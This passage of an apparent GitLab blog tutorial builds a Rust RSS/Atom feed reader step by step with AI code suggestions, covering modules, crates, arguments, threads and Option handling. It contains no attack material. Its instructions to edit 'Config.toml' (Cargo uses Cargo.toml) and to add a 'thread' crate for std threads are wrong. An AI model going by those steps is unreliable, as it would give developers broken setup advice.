-    1. `// Iterate over the RSS feed URLs`
-
-    2. `// Fetch URL content`
-
-    3. `// Parse XML body`
-
-    4. `// Print the result`
-
-
-    ![Code Suggestions: Public module with `get_feeds()` function, step 1:
-    Iterate](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_01_iterate.png){:
-    .shadow}
-
-
-    ![Code Suggestions: Public module with `get_feeds()` function, step 2: Fetch
-    URL
-    content](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_02_fetch_content.png){:
-    .shadow}
-
-
-    ![Code Suggestions: Public module with `get_feeds()` function, step 3: Parse
-    XML
-    body](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_03_parse_body.png){:
-    .shadow}
-
-
-    ![Code Suggestions: Public module with `get_feeds()` function, step 4: Print
-    the
-    results](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_04_print_result.png){:
-    .shadow}
-
-
-    The following code can be suggested:
-
-
-    ```rust
-
-    // Create public module feed_reader
-
-    // Define get_feeds() function which takes rss_feeds as String HashMap
-    reference as input
-
-    pub mod feed_reader {
-        use std::collections::HashMap;
-
-        pub fn get_feeds(rss_feeds: &HashMap<String, String>) {
-            // Iterate over the RSS feed URLs
-            for (name, url) in rss_feeds {
-                println!("{}: {}", name, url);
-
-                // Fetch URL content
-                let body = reqwest::blocking::get(url).unwrap().text().unwrap();
-
-                // Parse XML body
-                let parsed_body = roxmltree::Document::parse(&body).unwrap();
-
-                // Print the result
-                println!("{:#?}", parsed_body);
-            }
-        }
-    }
-
-    ```
-
-
-    You see a new keyword here:
-    [`unwrap()`](https://doc.rust-lang.org/rust-by-example/error/option_unwrap.html).
-    Rust does not support `null` values, and uses the [`Option`
-    type](https://doc.rust-lang.org/rust-by-example/std/option.html) for any
-    value. If you are certain to use a specific wrapped type, for example,
-    `Text` or `String`, you can call the `unwrap()` method to get the value. The
-    `unwrap()` method will panic if the value is `None`.
-
-
-    **Note** Code Suggestions referred to the `reqwest::blocking::get` function
-    for the `// Fetch URL content` comment instruction. The [`reqwest`
-    crate](https://docs.rs/reqwest/latest/reqwest/) name is intentional and not
-    a typo. It provides a convenient, higher-level HTTP client for async and
-    blocking requests.
-
-
-    Parsing the XML body is tricky - you might get different results, and the
-    schema is not the same for every RSS feed URL. Let us try to call the
-    `get_feeds()` function, and then work on improving the code.
-
-
-    ### Call the module function in main()
-
-
-    The main() function does not know about the `get_feeds()` function yet, so
-    we need to import its module. In other programming languages, you might have
-    seen the keywords `include` or `import`. The Rust module system is
-    different.
-
-
-    Modules are organized in path directories. In our example, both source files
-    exist on the same directory level. `feed_reader.rs` is interpreted as crate,
-    containing one module called `feed_reader`, which defines the function
-    `get_feeds()`.
-
-
-    ```
-
-    src/
-      main.rs
-      feed_reader.rs
-    ```
-
-
-    In order to access `get_feeds()` from the `feed_reader.rs` file, we need to
-    [bring module
-    path](https://doc.rust-lang.org/book/ch07-04-bringing-paths-into-scope-with-the-use-keyword.html)
-    into the `main.rs` scope first, and then call the full function path.
-
-
-    ```rust
-
-    mod feed_reader;
-
-
-    fn main() {
-
-        feed_reader::feed_reader::get_feeds(&rss_feeds);
-
-    ```
-
-
-    Alternatively, we can import the full function path with the `use` keyword,
-    and later use the short function name.
-
-
-    ```rust
-
-    mod feed_reader;
-
-    use feed_reader::feed_reader::get_feeds;
-
-
-    fn main() {
-
-        get_feeds(&rss_feeds);
-
-    ```
-
-
-    **Tip:** I highly recommend reading the [Clear explanation of the Rust
-    module system blog
-    post](https://www.sheshbabu.com/posts/rust-module-system/) to get a better
-    visual understanding.
-
-
-    ```diff
-
-
-    fn main() {
-        // ...
-
-        // Print feed_reader get_feeds() output
-        println!("{}", feed_reader::get_feeds(&rss_feeds));
-    ```
-
-
-    ```rust
-
-    use std::collections::HashMap;
-
-
-    mod feed_reader;
-
-    // Alternative: Import full function path
-
-    //use feed_reader::feed_reader::get_feeds;
-
-
-    fn main() {
-        // Define RSS feed URLs in the variable rss_feeds
-        // Use a HashMap
-        // Add Hacker News and TechCrunch
-        // Ensure to use String as type
-        let rss_feeds = HashMap::from([
-            ("Hacker News".to_string(), "https://news.ycombinator.com/rss".to_string()),
-            ("TechCrunch".to_string(), "https://techcrunch.com/feed/".to_string()),
-        ]);
-
-        // Call get_feeds() from feed_reader module
-        feed_reader::feed_reader::get_feeds(&rss_feeds);
-        // Alternative: Imported full path, use short path here.
-        //get_feeds(&rss_feeds);
-    }
-
-    ```
-
-
-    Run `cargo build` in the terminal again to build the code.
-
-
-    ```shell
-
-    cargo build
-
-    ```
-
-
-    Potential build errors when Code Suggestions refer to common code and
-    libraries for HTTP requests, and XML parsing:
-
-
-    1. Error: `could not find blocking in reqwest`. Solution: Enable the
-    `blocking` feature for the crate in `Config.toml`: `reqwest = { version =
-    "0.11.20", features = ["blocking"] }`.
-
-    2. Error: `failed to resolve: use of undeclared crate or module reqwest`.
-    Solution: Add the `reqwest` crate.
-
-    3. Error: `failed to resolve: use of undeclared crate or module roxmltree`.
-    Solution: Add the `roxmltree` crate.
-
-
-    ```shell
-
-    vim Config.toml
-
-
-    reqwest = { version = "0.11.20", features = ["blocking"] }
-
-    ```
-
-
-    ```shell
-
-    cargo add reqwest
-
-    cargo add roxmltree
-
-    ```
-
-
-    **Tip:** Copy the error message string, with a leading `Rust <error
-    message>` into your preferred browser to check whether a missing crate is
-    available. Usually this search leads to a result on crates.io and you can
-    add the missing dependencies.
-
-
-    When the build is successful, run the code with `cargo run` and inspect the
-    Hacker News RSS feed output.
-
-
-    ![VS Code terminal, cargo run to fetch Hacker News XML
-    feed](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news.png){:
-    .shadow}
-
-
-    What is next with parsing the XML body into human-readable format? In the
-    next section, we will learn about existing solutions and how Rust crates
-    come into play.
-
-
-    ## Crates
-
-    RSS feeds share a common set of protocols and specifications. It feels like
-    reinventing the wheel to parse XML items and understand the lower object
-    structure. Recommendation for these types of tasks: Look whether someone
-    else had the same problem already and might have created code to solve the
-    problem.
-
-
-    Reusable library code in Rust is organized in so-called
-    [`Crates`](https://doc.rust-lang.org/rust-by-example/crates.html), and made
-    available in packages, and the package registry on crates.io. You can add
-    these dependencies to your project by editing the `Config.toml` in the
-    `[dependencies]` section, or using `cargo add <name>`.
-
-
-    For the reader app, we want to use the [feed-rs
-    crate](https://crates.io/crates/feed-rs). Open a new terminal, and run the
-    following command:
-
-
-    ```shell
-
-    cargo add feed-rs
-
-    ```
-
-
-    ![VS Code Terminal Terminal: Add crate, verify in
-    Config.toml](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_rust_crate_add_feed-rs_explained.png)
-
-
-    ### feed-rs: parse XML feed
-
-    Navigate into `src/feed_reader.rs` and modify the part where we parse the
-    XML body. Code Suggestions understands how to call the `feed-rs` crate
-    `parser::parse` function -- there is only one specialty here: `feed-rs`
-    [expects string input as raw
-    bytes](https://docs.rs/feed-rs/latest/feed_rs/parser/fn.parse_with_uri.html)
-    to determine the encoding itself. We can provide instructions in the comment
-    to get the expected result though.
-
-
-    ```rust
-                // Parse XML body with feed_rs parser, input in bytes
-                let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();
-    ```
-
-
-    ![Code Suggestions: Public module with `get_feeds()` function, step 5:
-    Modify XML parser to
-    feed-rs](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_module_function_05_use_feed_rs_to_parse.png){:
-    .shadow}
-
-
-    The benefit of using `feed-rs` is not immediately visible until you see the
-    printed output with `cargo run`: All keys and values are mapped to their
-    respective Rust object types, and can be used for further operations.
-
-
-    ![VS Code terminal, cargo run to fetch Hacker News XML
-    feed](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_fetch_rss_feed_output_hacker_news_feed_rs.png){:
-    .shadow}
-
-
-    ## Runtime configuration: Program arguments
-
-    Until now, we have run the program with hard-coded RSS feed values compiled
-    into the binary. The next step is allowing to configure the RSS feeds at
-    runtime.
-
-
-    Rust provides [program
-    arguments](https://doc.rust-lang.org/rust-by-example/std_misc/arg.html) in
-    the standard misc library. [Parsing the
-    arguments](https://doc.rust-lang.org/rust-by-example/std_misc/arg/matching.html)
-    provides a better and faster learning experience than aiming for advanced
-    program argument parsers (for example, the
-    [clap](https://docs.rs/clap/latest/clap/) crate), or moving the program
-    parameters into a configuration file and format
-    ([TOML](https://toml.io/en/), YAML). You are reading these lines after I
-    tried and failed with different routes for the best learning experience.
-    This should not stop you from taking the challenge to configure RSS feeds in
-    alternative ways.
-
-
-    As a boring solution, the command parameters can be passed as `"name,url"`
-    string value pairs, and then are split by the `,` character to extract the
-    name and URL values. The comment instructs Code Suggestions to perform these
-    operations and extend the `rss_feeds` HashMap with the new values. Note that
-    the variable might not be mutable, and, therefore, needs to be modified to
-    `let mut rss_feeds`.
-
-
-    Navigate into `src/main.rs` and add the following code to the `main()`
-    function after the `rss_feeds` variable. Start with a comment to define the
-    program arguments, and check the suggested code snippets.
-
-
-    ```rust
-        // Program args, format "name,url"
-        // Split value by , into name, url and add to rss_feeds
-    ```
-
-
-    ![Code suggestions for program arguments, and splitting name,URL values for
-    the rss_feeds
-    variable](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_program_args_boring_solution.png){:
-    .shadow}
-
-
-    The full code example can look like the following:
-
-
-    ```rust
-
-    fn main() {
-        // Define RSS feed URLs in the variable rss_feeds
-        // Use a HashMap
-        // Add Hacker News and TechCrunch
-        // Ensure to use String as type
-        let mut rss_feeds = HashMap::from([
-            ("Hacker News".to_string(), "https://news.ycombinator.com/rss".to_string()),
-            ("TechCrunch".to_string(), "https://techcrunch.com/feed/".to_string()),
-        ]);
-
-        // Program args, format "name,url"
-        // Split value by , into name, url and add to rss_feeds
-        for arg in std::env::args().skip(1) {
-            let mut split = arg.split(",");
-            let name = split.next().unwrap();
-            let url = split.next().unwrap();
-            rss_feeds.insert(name.to_string(), url.to_string());
-        }
-
-        // Call get_feeds() from feed_reader module
-        feed_reader::feed_reader::get_feeds(&rss_feeds);
-        // Alternative: Imported full path, use short path here.
-        //get_feeds(&rss_feeds);
-    }
-
-    ```
-
-
-    You can pass program arguments directly to the `cargo run` command,
-    preceding the arguments with `--`. Enclose all arguments with double quotes,
-    put the name followed by a comma and the RSS feed URL as argument. Separate
-    all arguments with whitespaces.
-
-
-    ```
-
-    cargo build
-
-
-    cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-    ```
-
-
-    ![VS Code terminal, RSS feed output example for the GitLab
-    blog](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_gitlab_blog_rss_feed_example.png){:
-    .shadow}
-
-
-    ### User input error handling
-
-    If the provided user input does not match the program expectation, we need
-    to [throw an error](https://doc.rust-lang.org/rust-by-example/error.html)
-    and help the caller to fix the program arguments. For example, passing a
-    malformed URL format should be treated as a runtime error. Instruct Code
-    Suggestions with a code comment to throw an error if the URL is not valid.
-
-
-    ```rust
-        // Ensure that URL contains a valid format, otherwise throw an error
-    ```
-
-
-    One possible solution is to check if the `url` variable starts with
-    `http://` or `https://`. If not, throw an error using the [panic!
-    macro](https://doc.rust-lang.org/rust-by-example/std/panic.html). The full
-    code example looks like the following:
-
-
-    ```rust
-        // Program args, format "name,url"
-        // Split value by , into name, url and add to rss_feeds
-        for arg in std::env::args().skip(1) {
-            let mut split = arg.split(",");
-            let name = split.next().unwrap();
-            let url = split.next().unwrap();
-
-            // Ensure that URL contains a valid format, otherwise throw an error
-            if !url.starts_with("http://") && !url.starts_with("https://") {
-                panic!("Invalid URL format: {}", url);
-            }
-
-            rss_feeds.insert(name.to_string(), url.to_string());
-        }
-    ```
-
-
-    Test the error handling with removing a `:` in one of the URL strings. Add
-    the `RUST_BACKTRACE=full` environment variable to get more verbose output
-    when the `panic()` call happens.
-
-
-    ```
-
-    RUST_BACKTRACE=full cargo run -- "GitLab
-    Blog,https://about.gitlab.com/atom.xml" "CNCF,https//www.cncf.io/feed/"
-
-    ```
-
-
-    ![VS Code Terminal with wrong URL format, panic error
-    backtrace](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_url_format_error_panic_backtrace.png){:
-    .shadow}
-
-
-    ## Persistence and data storage
-
-    The boring solution for storing the feed data is to dump the parsed body
-    into a new file. Instruct Code Suggestions to use a pattern that includes
-    the RSS feed name, and the current ISO date.
-
-
-    ```rust
-        // Parse XML body with feed_rs parser, input in bytes
-        let parsed_body = feed_rs::parser::parse(body.as_bytes()).unwrap();
-
-        // Print the result
-        println!("{:#?}", parsed_body);
-
-        // Dump the parsed body to a file, as name-current-iso-date.xml
-        let now = chrono::offset::Local::now();
-        let filename = format!("{}-{}.xml", name, now.format("%Y-%m-%d"));
-        let mut file = std::fs::File::create(filename).unwrap();
-        file.write_all(body.as_bytes()).unwrap();
-    ```
-
-
-    A possible suggestion will include using the [chrono
-    crate](https://crates.io/crates/chrono). Add it using `cargo add chrono` and
-    then invoke `cargo build` and `cargo run` again.
-
-
-    The files are written into the same directory where `cargo run` was
-    executed. If you are executing the binary direcly in the `target/debug/`
-    directory, all files will be dumped there.
-
-
-    ![VS Code with CNCF RSS feed content file, saved on
-    disk](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_cncf_rss_feed_saved_on_disk.png)
-
-
-    ## Optimization
-
-    The entries in the `rss_feeds` variable are executed sequentially. Imagine
-    having a list of 100+ URLs configured - this could take a long time to fetch
-    and process. What if we could execute multiple fetch requests in parallel?
-
-
-    ### Asynchronous execution
-
-    Rust provides [threads](https://doc.rust-lang.org/book/ch16-01-threads.html)
-    for asynchronous execution.
-
-
-    The simplest solution will be spawning a thread for each RSS feed URL. We
-    will discuss optimization strategies later. Before you continue with
-    parallel execution, measure the sequential code execution time by preceding
-    the `time` command with `cargo run`.
-
-
-    ```
-
-    time cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-
-    0.21s user 0.08s system 10% cpu 2.898 total
-
-    ```
-
-
-    Note that this exercise could require more manual code work. It is
-    recommended to persist the sequential working state in a new Git commit and
-    branch `sequential-exec`, to better compare the impact of parallel
-    execution.
-
-
-    ```shell
-
-    git commit -avm "Sequential execution working"
-
-    git checkout -b sequential-exec
-
-    git push -u origin sequential-exec
-
-
-    git checkout main
-
-    ```
-
-
-    ### Spawning threads
-
-    Open `src/feed_reader.rs` and refactor the `get_feeds()` function. Start
-    with a Git commit for the current state, and then delete the contents of the
-    function scope. Add the following code comments with instructions for Code
-    Suggestions:
-
-
-    1. `// Store threads in vector`: Store thread handles in a vector, so we can
-    wait for them to finish at the end of the function call.
-
-    2. `// Loop over rss_feeds and spawn threads`: Create boilerplate code for
-    iterating over all RSS feeds, and spawn a new thread.
-
-
-    Add the following `use` statements to work with the `thread` and `time`
-    modules.
-
-
-    ```rust
-        use std::thread;
-        use std::time::Duration;
-    ```
-
-
-    Continue writing the code, and close the for loop. Code Suggestions will
-    automatically propose adding the thread handle in the `threads` vector
-    variable, and offer to join the threads at the end of the function.
-
-
-    ```rust
-        pub fn get_feeds(rss_feeds: &HashMap<String, String>) {
-
-            // Store threads in vector
-            let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();
-
-            // Loop over rss_feeds and spawn threads
-            for (name, url) in rss_feeds {
-                let thread_name = name.clone();
-                let thread_url = url.clone();
-                let thread = thread::spawn(move || {
-
-                });
-                threads.push(thread);
-            }
-
-            // Join threads
-            for thread in threads {
-                thread.join().unwrap();
-            }
-        }
-    ```
-
-
-    Add the `thread` crate, build and run the code again.
-
-
-    ```shell
-
-    cargo add thread
-
-
-    cargo build
-
-
-    cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-    ```
-
-
-    At this stage, no data is processed or printed. Before we continue re-adding
-    the functionality, let us learn about the newly introduced keywords here.
-
-
-    ### Function scopes, threads, and closures
-
-    The suggested code brings new keywords and design patterns to learn. The
-    thread handle is of the type `thread::JoinHandle`, indicating that we can
-    use it to wait for the threads to finish
-    ([join()](https://doc.rust-lang.org/book/ch16-01-threads.html#waiting-for-all-threads-to-finish-using-join-handles)).
-
-
-    `thread::spawn()` spawns a new thread, where we can pass a function object.
-    In this case, a
-    [closure](https://doc.rust-lang.org/book/ch13-01-closures.html) expression
-    is passed as anonymous function. Closure inputs are passed using the `||`
-    syntax. You will recognize the [`move`
-    Closure](https://doc.rust-lang.org/book/ch16-01-threads.html#using-move-closures-with-threads),
-    which moves the function scoped variables into the thread scope. This avoids
-    manually specifying which variables need to be passed into the new
-    function/closure scope.
-
-
-    There is a limitation though: `rss_feeds` is a reference `&`, passed as
-    parameter by the `get_feeds()` function caller. The variable is only valid
-    in the function scope. Use the following code snippet to provoke this error:
-
-
-    ```rust
-
-    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {
-
-        // Store threads in vector
-        let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();
-
-        // Loop over rss_feeds and spawn threads
-        for (key, value) in rss_feeds {
-            let thread = thread::spawn(move || {
-                println!("{}", key);
-            });
-        }
-    }
-
-    ```
-
-
-    ![VS Code Terminal, variable scope error with references and thread move
-    closure](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_build_error_function_threads_variable_scopes.png){:
-    .shadow}
-
-
-    Although the `key` variable was created in the function scope, it references
-    the `rss_feeds` variable, and therefore, it cannot be moved into the thread
-    scope. Any values accessed from the function parameter `rss_feeds` hash map
-    will require a local copy with `clone()`.
-
-
-    ![VS Code Terminal, thread spawn with
-    clone](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_rust_thread_spawn_clone.png){:
-    .shadow}
-
-
-    ```rust
-
-    pub fn get_feeds(rss_feeds: &HashMap<String, String>) {
-
-        // Store threads in vector
-        let mut threads: Vec<thread::JoinHandle<()>> = Vec::new();
-
-        // Loop over rss_feeds and spawn threads
-        for (name, url) in rss_feeds {
-            let thread_name = name.clone();
-            let thread_url = url.clone();
-            let thread = thread::spawn(move || {
-                // Use thread_name and thread_url as values, see next chapter for instructions.
-    ```
-
-
-    ## Parse feed XML into object types
-
-    The next step is to repeat the RSS feed parsing steps in the thread closure.
-    Add the following code comments with instructions for Code Suggestions:
-
-
-    1. `// Parse XML body with feed_rs parser, input in bytes` to tell Code
-    Suggestions that we want to fetch the RSS feed URL content, and parse it
-    with the `feed_rs` crate functions.
-
-    2. `// Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and
-    print its name`: Extract the feed type by comparing the `feed_type`
-    attribute with the
-    [`feed_rs::model::FeedType`](https://docs.rs/feed-rs/latest/feed_rs/model/enum.FeedType.html).
-    This needs more direct instructions for Code Suggestions telling it about
-    the exact Enum values to match against.
-
-
-    ![Instruct Code Suggestions to match against specific feed
-    types](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_feed_rs_type_condition.png){:
-    .shadow}
-
-
-    ```rust
-                // Parse XML body with feed_rs parser, input in bytes
-                let body = reqwest::blocking::get(thread_url).unwrap().bytes().unwrap();
-                let feed = feed_rs::parser::parse(body.as_ref()).unwrap();
-
-                // Check feed_type attribute feed_rs::model::FeedType::RSS2 or Atom and print its name
-                if feed.feed_type == feed_rs::model::FeedType::RSS2 {
-                    println!("{} is an RSS2 feed", thread_name);
-                } else if feed.feed_type == feed_rs::model::FeedType::Atom {
-                    println!("{} is an Atom feed", thread_name);
-                }
-    ```
-
-
-    Build and run the program again, and verify its output.
-
-
-    ```
-
-    time cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-
-    CNCF is an RSS2 feed
-
-    TechCrunch is an RSS2 feed
-
-    GitLab Blog is an Atom feed
-
-    Hacker News is an RSS2 feed
-
-    ```
-
-
-    Let us verify this output by opening the feed URLs in the browser, or
-    inspecting the previously downloaded files.
-
-
-    Hacker News supports RSS version 2.0, with
-    `channel(title,link,description,item(title,link,pubDate,comments))`.
-    TechCrunch and the CNCF blog follow a similar structure.
-
-    ```xml
-
-    <rss version="2.0"><channel><title>Hacker
-    News</title><link>https://news.ycombinator.com/</link><description>Links for
-    the intellectually curious, ranked by
-    readers.</description><item><title>Writing a debugger from scratch:
-    Breakpoints</title><link>https://www.timdbg.com/posts/writing-a-debugger-from-scratch-part-5/</link><pubDate>Wed,
-    27 Sep 2023 06:31:25
-    +0000</pubDate><comments>https://news.ycombinator.com/item?id=37670938</comments><description><![CDATA[<a
-    href="https://news.ycombinator.com/item?id=37670938">Comments</a>]]></description></item><item>
-
-    ```
-
-
-    The GitLab blog uses the
-    [Atom](https://datatracker.ietf.org/doc/html/rfc4287) feed format similar to
-    RSS, but still requires different parsing logic.
-
-    ```xml
-
-    <?xml version='1.0' encoding='utf-8' ?>
-
-    <feed xmlns='http://www.w3.org/2005/Atom'>
-
-    <!-- / Get release posts -->
-
-    <!-- / Get blog posts -->
-
-    <title>GitLab</title>
-
-    <id>https://about.gitlab.com/blog</id>
-
-    <link href='https://about.gitlab.com/blog/' />
-
-    <updated>2023-09-26T00:00:00+00:00</updated>
-
-    <author>
-
-    <name>The GitLab Team</name>
-
-    </author>
-
-    <entry>
-
-    <title>Atlassian Server ending: Goodbye disjointed toolchain, hello
-    DevSecOps platform</title>
-
-    <link
-    href='https://about.gitlab.com/blog/2023/09/26/atlassian-server-ending-move-to-a-single-devsecops-platform/'
-    rel='alternate' />
-
-    <id>https://about.gitlab.com/blog/2023/09/26/atlassian-server-ending-move-to-a-single-devsecops-platform/</id>
-
-    <published>2023-09-26T00:00:00+00:00</published>
-
-    <updated>2023-09-26T00:00:00+00:00</updated>
-
-    <author>
-
-    <name>Dave Steer, Justin Farris</name>
-
-    </author>
-
-    ```
-
-
-    ### Map generic feed data types
-
-    Using
-    [`roxmltree::Document::parse`](https://docs.rs/roxmltree/latest/roxmltree/struct.Document.html)
-    would require us to understand the XML node tree and its specific tag names.
-    Fortunately,
-    [feed_rs::model::Feed](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html)
-    provides a combined model for RSS and Atom feeds, therefore let us continue
-    using the `feed_rs` crate.
-
-
-    1. Atom: Feed->Feed, Entry->Entry
-
-    2. RSS: Channel->Feed, Item->Entry
-
-
-    In addition to the mapping above, we need to extract the required
-    attributes, and map their data types. It is helpful to open the
-    [feed_rs::model
-    documentation](https://docs.rs/feed-rs/latest/feed_rs/model/index.html) to
-    understand the structs and their fields and implementations. Otherwise, some
-    suggestions would result in type conversion errors and compilation failures,
-    that are specific to the `feed_rs` implementation.
-
-
-    A [`Feed`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html)
-    struct provides the `title`, type `Option<Text>` (either a value is set, or
-    nothing). An
-    [`Entry`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html)
-    struct provides:
-
-
-    1. `title`: `Option<Text>`with
-    [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) and
-    the `content` field as `String`.
-
-    2. `updated`: `Option<DateTime<Utc>>` with
-    [`DateTime`](https://docs.rs/chrono/latest/chrono/struct.DateTime.html) with
-    the [`format()`
-    method](https://docs.rs/chrono/latest/chrono/struct.DateTime.html#method.format).
-
-    3. `summary`: `Option<Text>`
-    [`Text`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html) and
-    the `content` field as `String`.
-
-    4. `links`: `Vec<Link>`, vector with
-    [`Link`](https://docs.rs/feed-rs/latest/feed_rs/model/struct.Link.html)
-    items. The `href` attribute provides the raw URL string.
-
-
-    Use this knowledge to extract the required data from the feed entries.
-    Reminder that all `Option` types need to call `unwrap()`, which requires
-    more raw instructions for Code Suggestions.
-
-
-    ```rust
-                    // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Feed.html
-                    // https://docs.rs/feed-rs/latest/feed_rs/model/struct.Entry.html
-                    // Loop over all entries, and print
-                    // title.unwrap().content
-                    // published.unwrap().format
-                    // summary.unwrap().content
-                    // links href as joined string
-                    for entry in feed.entries {
-                        println!("Title: {}", entry.title.unwrap().content);
-                        println!("Published: {}", entry.published.unwrap().format("%Y-%m-%d %H:%M:%S"));
-                        println!("Summary: {}", entry.summary.unwrap().content);
-                        println!("Links: {:?}", entry.links.iter().map(|link| link.href.clone()).collect::<Vec<String>>().join(", "));
-                        println!();
-                    }
-    ```
-
-
-    ![Code suggestions to print feed entry types, with specific
-    requirements](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_print_feed_entries_fields_with_rust_type_specifics.png){:
-    .shadow}
-
-
-    ### Error handling with Option unwrap()
-
-    Continue iterating on the multi-line instructions after building and running
-    the program again. Spoiler: `unwrap()` will call the `panic!` macro and
-    crash the program when it encounters empty values. This can happen if a
-    field like `summary` is not set in the feed data.
-
-
-    ```shell
-
-    GitLab Blog is an Atom feed
-
-    Title: How the Colmena project uses GitLab to support citizen journalists
-
-    Published: 2023-09-27 00:00:00
-
-    thread '<unnamed>' panicked at 'called `Option::unwrap()` on a `None`
-    value', src/feed_reader.rs:40:59
-
-    ```
-
-
-    A potential solution is to use
-    [`std::Option::unwrap_or_else`](https://doc.rust-lang.org/std/option/enum.Option.html#method.unwrap_or_else)
-    and set an empty string as default value. The syntax requires a closure that
-    returns an empty `Text` struct instantiation.
-
-
-    Solving the problem required many attempts to find the correct
-    initialization, passing just an empty string did not work with the custom
-    types. I will show you all my endeavors, including the research paths.
-
-
-    ```rust
-
-    // Problem: The `summary` attribute is not always initialized. unwrap() will
-    panic! then.
-
-    // Requires use mime; and use feed_rs::model::Text;
-
-    /*
-
-    // 1st attempt: Use unwrap() to extraxt Text from Option<Text> type.
-
-    println!("Summary: {}", entry.summary.unwrap().content);
-
-    // 2nd attempt. Learned about unwrap_or_else, passing an empty string.
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| "").content);
-
-    // 3rd attempt. summary is of the Text type, pass a new struct
-    instantiation.
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{}).content);
-
-    // 4th attempt. Struct instantiation requires 3 field values.
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{"", "",
-    ""}).content);
-
-    // 5th attempt. Struct instantation with public fields requires key: value
-    syntax
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{content_type:
-    "", src: "", content: ""}).content);
-
-    // 6th attempt. Reviewed expected Text types in
-    https://docs.rs/feed-rs/latest/feed_rs/model/struct.Text.html and created
-    Mime and String objects
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{content_type:
-    mime::TEXT_PLAIN, src: String::new(), content: String::new()}).content);
-
-    // 7th attempt: String and Option<String> cannot be casted automagically.
-    Compiler suggested using `Option::Some()`.
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{content_type:
-    mime::TEXT_PLAIN, src: Option::Some(), content: String::new()}).content);
-
-    */
-
-
-    // xth attempt: Solution. Option::Some() requires a new String object.
-
-    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{content_type:
-    mime::TEXT_PLAIN, src: Option::Some(String::new()), content:
-    String::new()}).content);
-
-    ```
-
-
-    This approach did not feel satisfying, since the code line is complicated to
-    read, and required manual work without help from Code Suggestions. Taking a
-    step back, I reviewed what brought me there - if `Option` is `none`,
-    `unwrap()` will throw an error. Maybe there is an easier way to handle this?
-    I asked Code Suggestions in a new comment:
-
-
-    ```
-                    // xth attempt: Solution. Option::Some() requires a new String object.
-                    println!("Summary: {}", entry.summary.unwrap_or_else(|| Text{content_type: mime::TEXT_PLAIN, src: Option::Some(String::new()), content: String::new()}).content);
-
-                    // Alternatively, use Option.is_none()
-    ```
-
-
-    ![Code suggestions asked for alternative with
-    Options.is_none](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/code_suggestions_after_complex_unwrap_or_else_ask_for_alternative_option.png){:
-    .shadow}
-
-
-    Increased readability, less CPU cycles wasted on `unwrap()`, and a great
-    learning curve from solving a complex problem to using a boring solution.
-    Win-win.
-
-
-    Before we forget: Re-add storing the XML data on disk to complete the reader
-    app again.
-
-
-    ```rust
-                    // Dump the parsed body to a file, as name-current-iso-date.xml
-                    let file_name = format!("{}-{}.xml", thread_name, chrono::Local::now().format("%Y-%m-%d-%H-%M-%S"));
-                    let mut file = std::fs::File::create(file_name).unwrap();
-                    file.write_all(body.as_ref()).unwrap();
-    ```
-
-
-    Build and run the program to verify the output.
-
-
-    ```shell
-
-    cargo build
-
-
-    time cargo run -- "GitLab Blog,https://about.gitlab.com/atom.xml"
-    "CNCF,https://www.cncf.io/feed/"
-
-    ```
-
-
-    ![VS Code Terminal, cargo run with formatted feed entries
-    output](https://about.gitlab.com/images/blogimages/learn-rust-with-ai-code-suggestions-advanced-programming/vs_code_terminal_cargo_run_formatted_output_final.png)
-
-
-    ## Benchmarks
-
-
-    ### Sequential vs. Parallel execution benchmark
-
-    Compare the execution time benchmarks by creating five samples each.
-
-
-    1. Sequential execution. [Example source code
